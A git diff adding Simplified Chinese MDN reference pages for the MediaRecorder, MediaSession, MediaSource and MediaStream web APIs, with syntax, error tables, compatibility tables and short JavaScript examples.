基本支持{{CompatNo}}{{CompatNo}}{{CompatChrome(47)}}{{CompatGeckoDesktop("25.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(47.0)}}
+
+ +

看过这个的用户还浏览了以下内容:

+ + diff --git a/files/zh-cn/web/api/mediarecorder/mediarecorder/index.html b/files/zh-cn/web/api/mediarecorder/mediarecorder/index.html new file mode 100644 index 0000000000..6dd2991683 --- /dev/null +++ b/files/zh-cn/web/api/mediarecorder/mediarecorder/index.html @@ -0,0 +1,90 @@ +--- +title: MediaRecorder() +slug: Web/API/MediaRecorder/MediaRecorder +translation_of: Web/API/MediaRecorder/MediaRecorder +--- +
{{APIRef("MediaStream Recording")}}
+ +

 MediaRecorder() 构造函数会创建一个对指定的 {{domxref("MediaStream")}} 进行录制的 {{domxref("MediaRecorder")}} 对象

+ +

语法

+ +
var mediaRecorder = new MediaRecorder(stream[, options]);
+ +

参数

+ +
+
stream
+
{{domxref("MediaStream")}} 将要录制的流. 它可以是来自于使用 {{domxref("MediaDevices.getUserMedia", "navigator.mediaDevices.getUserMedia()")}} 创建的流或者来自于 {{HTMLElement("audio")}}, {{HTMLElement("video")}} 以及 {{HTMLElement("canvas")}} DOM元素.
+
+

options {{optional_inline}}

+
+
+

一个字典对象,它可以包含下列属性:

+ +
    +
  • mimeType: 为新构建的 MediaRecorder 指定录制容器的MIME类型. 在应用中通过调用 {{domxref("MediaRecorder.isTypeSupported()")}} 来检查浏览器是否支持此种mimeType .
  • +
  • audioBitsPerSecond: 指定音频的比特率.
  • +
  • videoBitsPerSecond: 指定视频的比特率.
  • +
  • bitsPerSecond: 指定音频和视频的比特率. 此属性可以用来指定上面两个属性. 如果上面两个属性只有其中之一和此属性被指定, 则此属性可以用于设定另外一个属性.
  • +
+ +
+

如果视频和/或音频的比特率没有指定, 视频默认采用的比特率是2.5Mbps, 但音频的默认比特率并不固定, 音频的默认比特率根据采样率和轨道数自适应.

+
+
+
+ +

例子

+ +

此例展示了如果对指定的流创建一个音频比特率为128kbps,视频比特率为2.5Mbps的媒体录制器. 被录制的媒体数据会以MP4格式封装(因此你若获取这些媒体数据片段,并存放到磁盘上去,你就会得到一个mp4文件).

+ +
...
+
+
+if (navigator.mediaDevices.getUserMedia) {
+  var constraints = { audio: true, video: true };
+  var chunks = [];
+
+  var onSuccess = function(stream) {
+    var options = {
+      audioBitsPerSecond : 128000,
+      videoBitsPerSecond : 2500000,
+      mimeType : 'video/mp4'
+    }
+    var mediaRecorder = new MediaRecorder(stream,options);
+    m = mediaRecorder;
+
+...
+ +

说明

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("MediaStream Recording")}}{{Spec2("MediaStream Recording")}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.MediaRecorder.MediaRecorder")}}

+ +

更多信息

+ + diff --git a/files/zh-cn/web/api/mediarecorder/ondataavailable/index.html b/files/zh-cn/web/api/mediarecorder/ondataavailable/index.html new file mode 100644 index 0000000000..0fd81b1a49 --- /dev/null +++ b/files/zh-cn/web/api/mediarecorder/ondataavailable/index.html @@ -0,0 +1,80 @@ +--- +title: MediaRecorder.ondataavailable +slug: Web/API/MediaRecorder/ondataavailable +translation_of: Web/API/MediaRecorder/ondataavailable +--- +

{{APIRef("MediaStream Recording")}}

+ +

MediaRecorder.ondataavailable 事件处理程序(part of the MediaStream记录API)处理{{event("dataavailable")}}事件,让您在响应运行代码{{domxref("Blob")}}数据被提供使用。

+ +

dataavailable当MediaRecorder将媒体数据传递到您的应用程序以供使用时,将触发事件。数据在包含数据的{{domxref("Blob")}}对象中提供。这在四种情况下发生:

+ + + +
+

包含媒体数据的{{domxref("Blob")}}在{{event("dataavailable")}}事件的data属性中可用

+
+ +

句法

+ +
MediaRecorder.ondataavailable = function(event) { ... }
+MediaRecorder.addEventListener('dataavailable', function(event) { ... })
+ +

+ +
...
+  var chunks = [];
+
+  mediaRecorder.onstop = function(e) {
+    console.log("data available after MediaRecorder.stop() called.");
+
+    var audio = document.createElement('audio');
+    audio.controls = true;
+    var blob = new Blob(chunks, { 'type' : 'audio/ogg; codecs=opus' });
+    var audioURL = window.URL.createObjectURL(blob);
+    audio.src = audioURL;
+    console.log("录像停止");
+  }
+
+  mediaRecorder.ondataavailable = function(e) {
+    chunks.push(e.data);
+  }
+
+...
+ +

技术指标

+ + + + + + + + + + + + + + +
规范状态评论
{{SpecName("MediaStream Recording", "#dom-mediarecorder-ondataavailable", "MediaRecorder.ondataavailable")}}{{Spec2("MediaStream Recording")}}初始定义
+ +

浏览器兼容性

+ + + +

{{Compat("api.MediaRecorder.ondataavailable")}}

+ +

也可以看看

+ + diff --git a/files/zh-cn/web/api/mediarecorder/pause/index.html b/files/zh-cn/web/api/mediarecorder/pause/index.html new file mode 100644 index 0000000000..703d032d10 --- /dev/null +++ b/files/zh-cn/web/api/mediarecorder/pause/index.html @@ -0,0 +1,75 @@ +--- +title: MediaRecorder.pause() +slug: Web/API/MediaRecorder/pause +translation_of: Web/API/MediaRecorder/pause +--- +
{{APIRef("MediaStream Recording")}}
+ +

The Media.pause() method (part of the MediaRecorder API) is used to pause recording of media streams.

+ +

When a MediaRecorder object’s pause()method is called, the browser queues a task that runs the below steps:

+ +
    +
  1. If {{domxref("MediaRecorder.state")}} is "inactive", raise a DOM InvalidState error and terminate these steps. If not, continue to the next step.
  2. +
  3. Set {{domxref("MediaRecorder.state")}} to "paused".
  4. +
  5. Stop gathering data into the current {{domxref("Blob")}}, but keep it available so that recording can be resumed later on.
  6. +
  7. Raise a {{event("pause")}} event.
  8. +
+ +

Syntax

+ +
MediaRecorder.pause()
+ +

Return value

+ +

undefined.

+ +

Exceptions

+ +
+
InvalidStateError
+
The MediaRecorder is currently "inactive"; you can't pause recording if it's not active. If you call pause() while already paused, it silently does nothing.
+
+ +

Example

+ +
...
+
+ pause.onclick = function() {
+     mediaRecorder.pause();
+     console.log("recording paused");
+ }
+
+...
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("MediaStream Recording", "#widl-MediaRecorder-pause-void", "MediaRecorder.pause()")}}{{Spec2("MediaStream Recording")}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.MediaRecorder.pause")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/mediasession/index.html b/files/zh-cn/web/api/mediasession/index.html new file mode 100644 index 0000000000..c704454eec --- /dev/null +++ b/files/zh-cn/web/api/mediasession/index.html @@ -0,0 +1,141 @@ +--- +title: MediaSession +slug: Web/API/MediaSession +tags: + - API + - Media Session API + - MediaSession + - 媒体 + - 引用 + - 接口 + - 视频 + - 音频 +translation_of: Web/API/MediaSession +--- +

{{SeeCompatTable}}{{APIRef("Media Session API")}}

+ +

Media Session API 的 MediaSession 接口允许页面为标准媒体交互提供自定义行为.

+ +

属性

+ +
+
{{domxref("MediaSession.metadata")}}
+
指向一个 {{domxref("MediaMetadata")}} 的实例,其包含富媒体的元数据. 该数据将用于平台显示.
+
{{domxref("MediaSession.playbackState")}}
+
展示当前mediasession是否处于播放状态. 有效值为"none", "paused",  "playing".
+
+ +

方法

+ +
+
{{domxref("MediaSession.setActionHandler()")}}
+
设置一个监听mediasession动作(如 play 或者 pause)的事件句柄. 浏览方法页以获取所有动作的列表.
+
+ +

例子

+ +

下面的例子创建了一个新的media session,并且给其绑定了一些动作句柄:

+ +
if ('mediaSession' in navigator){
+  navigator.mediaSession.metadata = new MediaMetadata({
+    title: "Podcast Episode Title",
+    artist: "Podcast Host",
+    album: "Podcast Name",
+    artwork: [{src: "podcast.jpg"}]
+  });
+  navigator.mediaSession.setActionHandler('play', function() {});
+  navigator.mediaSession.setActionHandler('pause', function() {});
+  navigator.mediaSession.setActionHandler('seekbackward', function() {});
+  navigator.mediaSession.setActionHandler('seekforward', function() {});
+  navigator.mediaSession.setActionHandler('previoustrack', function() {});
+  navigator.mediaSession.setActionHandler('nexttrack', function() {});
+}
+ +

下面例子为暂停和播放设置了时间句柄:

+ +
var audio = document.querySelector("#player");
+audio.src = "song.mp3";
+
+navigator.mediaSession.setActionHandler('play', play);
+navigator.mediaSession.setActionHandler('pause', pause);
+
+function play() {
+   audio.play();
+   navigator.mediaSession.playbackState = "playing";
+}
+
+function pause() {
+   audio.pause();
+   navigator.mediaSession.playbackState = "Paused";
+}
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Session','#the-mediasession-interface','MediaSession')}}{{Spec2('Media Session')}}Initial definition.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatChrome(57)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}
+
diff --git a/files/zh-cn/web/api/mediasession/setactionhandler/index.html b/files/zh-cn/web/api/mediasession/setactionhandler/index.html new file mode 100644 index 0000000000..5f1d4847f7 --- /dev/null +++ b/files/zh-cn/web/api/mediasession/setactionhandler/index.html @@ -0,0 +1,93 @@ +--- +title: MediaSession.setActionHandler() +slug: Web/API/MediaSession/setActionHandler +translation_of: Web/API/MediaSession/setActionHandler +--- +

{{APIRef("Media Session API")}}{{SeeCompatTable}}

+ +

{{domxref("MediaSession")}} 接口的属性 setActionHandler() 为media session动作设置一个监听器。这些动作让网页程序在用户操作设备的内置物理或屏上媒体控制项时收到消息,例如播放、停止或搜寻按钮。

+ +

语法

+ +
navigator.mediaSession.setActionHandler(type, callback)
+ +

参数

+ +
+
type
+
一个提供要监听的动作类型的 {{domxref("DOMString")}} 。它可以是 playpauseseekbackwardseekforwardprevioustrack 或 nexttrack
+
callback
+
一个在指定动作被调用时要调用的方法。回调方法不会收到参数,并且不应该返回值。
+
+ +

返回值

+ +

undefined

+ +

使用说明

+ +

要移除一个已经存在的监听器,再调用一次 setActionHandler() ,将 null 作为回调方法。

+ +

示例

+ +

下面的示例创建一个新的media session并且为它添加监听器(不做任何事情)。

+ +
if ('mediaSession' in navigator){
+  navigator.mediaSession.metadata = new MediaMetadata({
+    title: "播客音乐名字",
+    artist: "播客主持人",
+    album: "播客名字",
+    artwork: [{src: "podcast.jpg"}]
+  });
+  navigator.mediaSession.setActionHandler('play', function() {});
+  navigator.mediaSession.setActionHandler('pause', function() {});
+  navigator.mediaSession.setActionHandler('seekbackward', function() {});
+  navigator.mediaSession.setActionHandler('seekforward', function() {});
+  navigator.mediaSession.setActionHandler('previoustrack', function() {});
+  navigator.mediaSession.setActionHandler('nexttrack', function() {});
+}
+
+ +

这个示例使用了适当的监听器来允许在不同的方向搜寻正在播放的媒体。

+ +
let skipTime = 10; // 要跳过的秒数
+
+navigator.mediaSession.setActionHandler('seekbackward', evt => {
+  // 用户点击了“向后搜寻”的媒体按钮
+  audio.currentTime = Math.max(audio.currentTime - skipTime, 0);
+});
+
+navigator.mediaSession.setActionHandler('seekforward', evt => {
+  // 用户点击了“向前搜寻”的媒体按钮
+  audio.currentTime = Math.min(audio.currentTime + skipTime,
+                               audio.duration);
+});
+ +

要移除一个监听器,将它设为null。

+ +
navigator.mediaSession.setActionHandler('nexttrack', null);
+ +

技术指标

+ + + + + + + + + + + + + + +
技术指标状态注释
{{SpecName('Media Session','#dom-mediasession-setactionhandler','MediaSession.setActionHandler()')}}{{Spec2('Media Session')}}初始定义。
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.MediaSession.setActionHandler")}}

+
diff --git a/files/zh-cn/web/api/mediasource/addsourcebuffer/index.html b/files/zh-cn/web/api/mediasource/addsourcebuffer/index.html new file mode 100644 index 0000000000..3e2194c7af --- /dev/null +++ b/files/zh-cn/web/api/mediasource/addsourcebuffer/index.html @@ -0,0 +1,173 @@ +--- +title: MediaSource.addSourceBuffer() +slug: Web/API/MediaSource/addSourceBuffer +translation_of: Web/API/MediaSource/addSourceBuffer +--- +
{{APIRef("Media Source Extensions")}}{{SeeCompatTable}}
+ +

{{domxref("MediaSource")}} 的 addSourceBuffer() 方法会根据给定的 MIME 类型创建一个新的 {{domxref("SourceBuffer")}} 对象,然后会将它追加到 MediaSource 的 {{domxref("SourceBuffers")}} 列表中。

+ +

语法

+ +
var sourceBuffer = mediaSource.addSourceBuffer(mimeType);
+ +

参数

+ +
+
mimeType
+
你想创建的 source buffer 的 MIME 类型。
+
+ +

返回

+ +

一个 {{domxref("SourceBuffer")}} 对象。

+ +

错误( Errors )

+ +

下面的错误可能会在调用该方法时被抛出。

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
ErrorExplanation
InvalidAccessError提交的 mimeType 是一个空字符串。
InvalidStateError{{domxref("MediaSource.readyState")}} 的值不等于 open.
NotSupportedError当前浏览器不支持你提交的 mimeType , 或者 it is not compatible with the mimeTypes specified for the {{domxref("SourceBuffer")}} objects that already exist in {{domxref("MediaSource.sourceBuffers")}}.
QuotaExceededErrorThe user agent can't handle any more SourceBuffer objects, or creating a SourceBuffer based on this mimeType would result in an unsupported SourceBuffer configuration.
+ +

Example

+ +

The following snippet is from a simple example written by Nick Desaulniers (view the full demo live, or download the source for further investigation.)

+ +
var assetURL = 'frag_bunny.mp4';
+// Need to be specific for Blink regarding codecs
+// ./mp4info frag_bunny.mp4 | grep Codec
+var mimeCodec = 'video/mp4; codecs="avc1.42E01E, mp4a.40.2"';
+
+if ('MediaSource' in window && MediaSource.isTypeSupported(mimeCodec)) {
+  var mediaSource = new MediaSource;
+  //console.log(mediaSource.readyState); // closed
+  video.src = URL.createObjectURL(mediaSource);
+  mediaSource.addEventListener('sourceopen', sourceOpen);
+} else {
+  console.error('Unsupported MIME type or codec: ', mimeCodec);
+}
+
+function sourceOpen (_) {
+  //console.log(this.readyState); // open
+  var mediaSource = this;
+  var sourceBuffer = mediaSource.addSourceBuffer(mimeCodec);
+  fetchAB(assetURL, function (buf) {
+    sourceBuffer.addEventListener('updateend', function (_) {
+      mediaSource.endOfStream();
+      video.play();
+      //console.log(mediaSource.readyState); // ended
+    });
+    sourceBuffer.appendBuffer(buf);
+  });
+};
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Source Extensions', '#widl-MediaSource-addSourceBuffer-SourceBuffer-DOMString-type', 'addSourceBuffer()')}}{{Spec2('Media Source Extensions')}}Initial definition.
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support23{{CompatVersionUnknown}}{{CompatGeckoDesktop("25.0")}}[1]
+ {{CompatGeckoDesktop("42.0")}}
11[2]158
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support4.4.4{{CompatVersionUnknown}} +

{{CompatNo}}

+
{{CompatNo}}1130{{CompatNo}}
+
+ +

[1] Available after switching the about:config preference media.mediasource.enabled to true. In addition, support was limited to a whitelist of sites, for example YouTube, Netflix, and other popular streaming sites. The whitelist was removed and Media Source Extensions was enabled by default in 42+ for all sites.

+ +

[2] Only works on Windows 8+.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/mediasource/duration/index.html b/files/zh-cn/web/api/mediasource/duration/index.html new file mode 100644 index 0000000000..400256f465 --- /dev/null +++ b/files/zh-cn/web/api/mediasource/duration/index.html @@ -0,0 +1,94 @@ +--- +title: MediaSource.duration +slug: Web/API/MediaSource/duration +translation_of: Web/API/MediaSource/duration +--- +
{{APIRef("Media Source Extensions")}}{{SeeCompatTable}}
+ +

{{domxref("MediaSource")}} 接口的属性 duration 用来获取或者设置当前媒体展示的时长.

+ +

语法

+ +
mediaSource.duration = 5.5; // 5.5 seconds
+
+var myDuration = mediaSource.duration;
+ +

+ +

以秒为单位的 双精度浮点数.

+ +

错误

+ +

设置新的值的时候可能会有下面的错误抛出.

+ + + + + + + + + + + + + + + + + + +
错误异常
InvalidAccessError时长尝试设置一个负数, 或者 NaN.
InvalidStateError{{domxref("MediaSource.readyState")}} 状态不是 open, 或者 一个或多个 {{domxref("SourceBuffer")}} 对象在 {{domxref("MediaSource.sourceBuffers")}} 中被更新  (例如. 该 {{domxref("SourceBuffer.updating")}}属性 为 true.)
+ +

例子

+ +

下面的代码片段取自 Nick Desaulniers写的简单例子 (想进一步了解 查看完整例子, 或者 下载源代码 .)

+ +
function sourceOpen (_) {
+  //console.log(this.readyState); // open
+  var mediaSource = this;
+  var sourceBuffer = mediaSource.addSourceBuffer(mimeCodec);
+  fetchAB(assetURL, function (buf) {
+    sourceBuffer.addEventListener('updateend', function (_) {
+      mediaSource.endOfStream();
+      mediaSource.duration = 120;
+      video.play();
+      //console.log(mediaSource.readyState); // ended
+    });
+    sourceBuffer.appendBuffer(buf);
+  });
+};
+
+...
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Source Extensions', '#widl-MediaSource-duration', 'duration')}}{{Spec2('Media Source Extensions')}}Initial definition.
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.MediaSource.duration")}}

+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/mediasource/endofstream/index.html b/files/zh-cn/web/api/mediasource/endofstream/index.html new file mode 100644 index 0000000000..ca5ad6b67d --- /dev/null +++ b/files/zh-cn/web/api/mediasource/endofstream/index.html @@ -0,0 +1,111 @@ +--- +title: MediaSource.endOfStream() +slug: Web/API/MediaSource/endOfStream +translation_of: Web/API/MediaSource/endOfStream +--- +
{{APIRef("Media Source Extensions")}}{{SeeCompatTable}}
+ +

{{domxref("MediaSource")}} 接口的 endOfStream() 方法意味着流的结束。

+ +

语法

+ +
mediaSource.endOfStream(endOfStreamError);
+ +

参数

+ +
+
endOfStreamError {{optional_inline}}
+
一个 {{domxref("DOMString")}},表示当流结束之时需要抛出的异常名。可选的值为: +
    +
  • network: Terminates playback and signals that a network error has occured. This can be used create a custom error handler related to media streams. For example, you might have a function that handles media chunk requests, separate from other network requests. When you make an XMLHttpRequest call for a media chunk, and onabort or onerror triggers, you might want to call endOfStream('network'), display a descriptive message in the UI, and maybe retry the network request immediately or wait until the network is back up (via some kind of polling.)
  • +
  • decode: Terminates playback and signals that a decoding error has occured. This can be used to indicate that a parsing error has occured while fetching media data; maybe the data is corrupt, or is encoded using a codec that the browser doesn't know how to decode.
  • +
+
+
+ +

返回值

+ +

无。

+ +

错误

+ +

修改此属性值的时候,以下异常可能会被触发。

+ + + + + + + + + + + + + + +
错误解释
InvalidStateError{{domxref("MediaSource.readyState")}} is not equal to open, or one or more of the {{domxref("SourceBuffer")}} objects in {{domxref("MediaSource.sourceBuffers")}} are being updated (i.e. their {{domxref("SourceBuffer.updating")}} property is true.)
+ +

示例

+ +

下面的代码段来自于 Nick Desaulniers 的一个简单的例子。(查看完整示例,或者下载源代码以供学习。)

+ +
var assetURL = 'frag_bunny.mp4';
+// Need to be specific for Blink regarding codecs
+// ./mp4info frag_bunny.mp4 | grep Codec
+var mimeCodec = 'video/mp4; codecs="avc1.42E01E, mp4a.40.2"';
+
+if ('MediaSource' in window && MediaSource.isTypeSupported(mimeCodec)) {
+  var mediaSource = new MediaSource;
+  //console.log(mediaSource.readyState); // closed
+  video.src = URL.createObjectURL(mediaSource);
+  mediaSource.addEventListener('sourceopen', sourceOpen);
+} else {
+  console.error('Unsupported MIME type or codec: ', mimeCodec);
+}
+
+function sourceOpen (_) {
+  //console.log(this.readyState); // open
+  var mediaSource = this;
+  var sourceBuffer = mediaSource.addSourceBuffer(mimeCodec);
+  fetchAB(assetURL, function (buf) {
+    sourceBuffer.addEventListener('updateend', function (_) {
+      mediaSource.endOfStream();
+      video.play();
+      //console.log(mediaSource.readyState); // ended
+    });
+    sourceBuffer.appendBuffer(buf);
+  });
+};
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Source Extensions', '#widl-MediaSource-endOfStream-void-EndOfStreamError-error', 'endOfStream()')}}{{Spec2('Media Source Extensions')}}Initial definition.
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.MediaSource.endOfStream")}}

+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/mediasource/index.html b/files/zh-cn/web/api/mediasource/index.html new file mode 100644 index 0000000000..bd15ef934d --- /dev/null +++ b/files/zh-cn/web/api/mediasource/index.html @@ -0,0 +1,128 @@ +--- +title: MediaSource +slug: Web/API/MediaSource +translation_of: Web/API/MediaSource +--- +

{{APIRef("Media Source Extensions")}}{{SeeCompatTable}}

+ +

MediaSourceMedia Source Extensions API 表示媒体资源{{domxref("HTMLMediaElement")}}对象的接口。MediaSource 对象可以附着在{{domxref("HTMLMediaElement")}}在客户端进行播放。

+ +

构造函数

+ +
+
{{domxref("MediaSource.MediaSource", "MediaSource()")}}
+
构造并且返回一个新的MediaSource的空对象(with no associated source buffers)。
+
+ +

属性

+ +
+
{{domxref("MediaSource.sourceBuffers")}} {{readonlyInline}}
+
返回一个{{domxref("SourceBufferList")}} 对象,包含了这个MediaSource的{{domxref("SourceBuffer")}}的对象列表。
+
{{domxref("MediaSource.activeSourceBuffers")}} {{readonlyInline}}
+
返回一个 {{domxref("SourceBufferList")}} 对象,包含了这个{{domxref("MediaSource.sourceBuffers")}}中的{{domxref("SourceBuffer")}} 子集的对象—即提供当前被选中的视频轨 (video track),启用的音频轨 (audio tracks) 以及显示/隐藏的字幕轨 (text tracks) 的对象列表。
+
 
+
{{domxref("MediaSource.readyState")}} {{readonlyInline}}
+
返回一个包含当前MediaSource状态的集合,即使它当前没有附着到一个media元素(closed),或者已附着并准备接收{{domxref("SourceBuffer")}} 对象 (open),亦或者已附着但这个流已被{{domxref("MediaSource.endOfStream()")}}关闭(ended.)
+
{{domxref("MediaSource.duration")}}
+
获取和设置当前正在推流媒体的持续时间。
+
+ +
+
+ +
+
+ +

方法

+ +

从父接口{{domxref("EventTarget")}}上继承而来。

+ +
+
{{domxref("MediaSource.addSourceBuffer()")}}
+
创建一个带有给定MIME类型的新的 {{domxref("SourceBuffer")}} 并添加到 MediaSource 的 {{domxref("SourceBuffers")}} 列表。
+
{{domxref("MediaSource.removeSourceBuffer()")}}
+
删除指定的{{domxref("SourceBuffer")}} 从这个MediaSource对象中的 {{domxref("SourceBuffers")}}列表。
+
{{domxref("MediaSource.endOfStream()")}}
+
表示流的结束。
+
+

静态方法

+
+
{{domxref("MediaSource.isTypeSupported()")}}
+
返回一个 {{domxref("Boolean")}} 值表明给定的MIME类型是否被当前的浏览器支持——这意味着是否可以成功的创建这个MIME类型的{{domxref("SourceBuffer")}} 对象。
+
+ +

示例

+ +

这个例子尽可能快地逐块加载视频,并在加载好后立刻播放。 这个示例是由Nick Desaulniers 编写,你可以点这里查看  (你也可以点这里下载来进一步研究)。

+ +
var video = document.querySelector('video');
+
+var assetURL = 'frag_bunny.mp4';
+// Need to be specific for Blink regarding codecs
+// ./mp4info frag_bunny.mp4 | grep Codec
+var mimeCodec = 'video/mp4; codecs="avc1.42E01E, mp4a.40.2"';
+
+if ('MediaSource' in window && MediaSource.isTypeSupported(mimeCodec)) {
+  var mediaSource = new MediaSource();
+  //console.log(mediaSource.readyState); // closed
+  video.src = URL.createObjectURL(mediaSource);
+  mediaSource.addEventListener('sourceopen', sourceOpen);
+} else {
+  console.error('Unsupported MIME type or codec: ', mimeCodec);
+}
+
+function sourceOpen (_) {
+  //console.log(this.readyState); // open
+  var mediaSource = this;
+  var sourceBuffer = mediaSource.addSourceBuffer(mimeCodec);
+  fetchAB(assetURL, function (buf) {
+    sourceBuffer.addEventListener('updateend', function (_) {
+      mediaSource.endOfStream();
+      video.play();
+      //console.log(mediaSource.readyState); // ended
+    });
+    sourceBuffer.appendBuffer(buf);
+  });
+};
+
+function fetchAB (url, cb) {
+  console.log(url);
+  var xhr = new XMLHttpRequest;
+  xhr.open('get', url);
+  xhr.responseType = 'arraybuffer';
+  xhr.onload = function () {
+    cb(xhr.response);
+  };
+  xhr.send();
+};
+ +

说明

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Source Extensions', '#mediasource', 'MediaSource')}}{{Spec2('Media Source Extensions')}}Initial definition.
+ +

浏览器支持情况

+ +
+

{{Compat("api.MediaSource")}}

+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/mediasource/mediasource/index.html b/files/zh-cn/web/api/mediasource/mediasource/index.html new file mode 100644 index 0000000000..a36f3133b8 --- /dev/null +++ b/files/zh-cn/web/api/mediasource/mediasource/index.html @@ -0,0 +1,54 @@ +--- +title: MediaSource.MediaSource() +slug: Web/API/MediaSource/MediaSource +translation_of: Web/API/MediaSource/MediaSource +--- +
{{APIRef("Media Source Extensions")}}{{SeeCompatTable}}
+ +

MediaSource() 是 {{domxref("MediaSource")}} 的构造函数 返回一个没有分配source buffers 新的 MediaSource 对象.

+ +

语法

+ +
var mediaSource = new MediaSource();
+ +

参数

+ +

无.

+ +

例子

+ +

下面的代码片段取自 Nick Desaulniers写的简单例子 (想进一步了解 查看完整例子 或者 下载源代码 .)

+ +
var video = document.querySelector('video');
+
+var assetURL = 'frag_bunny.mp4';
+// Need to be specific for Blink regarding codecs
+// ./mp4info frag_bunny.mp4 | grep Codec
+var mimeCodec = 'video/mp4; codecs="avc1.42E01E, mp4a.40.2"';
+
+if ('MediaSource' in window && MediaSource.isTypeSupported(mimeCodec)) {
+  var mediaSource = new MediaSource;
+  //console.log(mediaSource.readyState); // closed
+  video.src = URL.createObjectURL(mediaSource);
+  mediaSource.addEventListener('sourceopen', sourceOpen);
+} else {
+  console.error('Unsupported MIME type or codec: ', mimeCodec);
+}
+
+...
+
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.MediaSource.MediaSource")}}

+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/mediasource/readystate/index.html b/files/zh-cn/web/api/mediasource/readystate/index.html new file mode 100644 index 0000000000..6a8831abd0 --- /dev/null +++ b/files/zh-cn/web/api/mediasource/readystate/index.html @@ -0,0 +1,136 @@ +--- +title: MediaSource.readyState +slug: Web/API/MediaSource/readyState +translation_of: Web/API/MediaSource/readyState +--- +
{{APIRef("Media Source Extensions")}}{{SeeCompatTable}}
+ +

readyState是 {{domxref("MediaSource")}} 接口的一个只读属性。它返回一个集合表明当前MediaSource的状态。它有三种可能的返回值:

+ + + +

语法

+ +
var myReadyState = mediaSource.readyState;
+ +

+ +

A {{domxref("DOMString")}}.

+ +

例子

+ +

The following snippet is from a simple example written by Nick Desaulniers (view the full demo live, or download the source for further investigation.)

+ +
if ('MediaSource' in window && MediaSource.isTypeSupported(mimeCodec)) {
+  var mediaSource = new MediaSource;
+  //console.log(mediaSource.readyState); // closed
+  video.src = URL.createObjectURL(mediaSource);
+  mediaSource.addEventListener('sourceopen', sourceOpen);
+} else {
+  console.error('Unsupported MIME type or codec: ', mimeCodec);
+}
+
+function sourceOpen (_) {
+  //console.log(this.readyState); // open
+  var mediaSource = this;
+  var sourceBuffer = mediaSource.addSourceBuffer(mimeCodec);
+  fetchAB(assetURL, function (buf) {
+    sourceBuffer.addEventListener('updateend', function (_) {
+      mediaSource.endOfStream();
+      video.play();
+      //console.log(mediaSource.readyState); // ended
+    });
+    sourceBuffer.appendBuffer(buf);
+  });
+};
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Source Extensions', '#widl-MediaSource-readyState', 'readyState')}}{{Spec2('Media Source Extensions')}}Initial definition.
+ +

浏览器兼容性表格

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support23{{CompatVersionUnknown}}{{CompatGeckoDesktop("25.0")}}[1]
+ {{CompatGeckoDesktop("42.0")}}
11[2]158
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support4.4.4{{CompatVersionUnknown}} +

{{CompatNo}}

+
{{CompatNo}}1130{{CompatNo}}
+
+ +

[1] Available after switching the about:config preference media.mediasource.enabled to true. In addition, support was limited to a whitelist of sites, for example YouTube, Netflix, and other popular streaming sites. The whitelist was removed and Media Source Extensions was enabled by default in 42+ for all sites.

+ +

[2] Only works on Windows 8+.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/mediastream.addtrack/index.html b/files/zh-cn/web/api/mediastream.addtrack/index.html new file mode 100644 index 0000000000..ffb8052af5 --- /dev/null +++ b/files/zh-cn/web/api/mediastream.addtrack/index.html @@ -0,0 +1,122 @@ +--- +title: MediaStream.addTrack() +slug: Web/API/MediaStream.addTrack +translation_of: Web/API/MediaStream/addTrack +--- +

{{APIRef("Media Capture and Streams")}}

+ +

MediaStream.addTrack() 方法会给流添加一个新轨道。指定一个{{domxref("MediaStreamTrack")}}对象作为参数。

+ +
+

如果指定的track已经存在于流的track set里的话,该方法不会产生作用。

+
+ +

语法

+ +
stream.addTrack(track);
+
+ +

Parameters

+ +
+
track
+
A {{domxref("MediaStreamTrack")}} to add to the stream.
+
+ +

Example

+ +

 

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
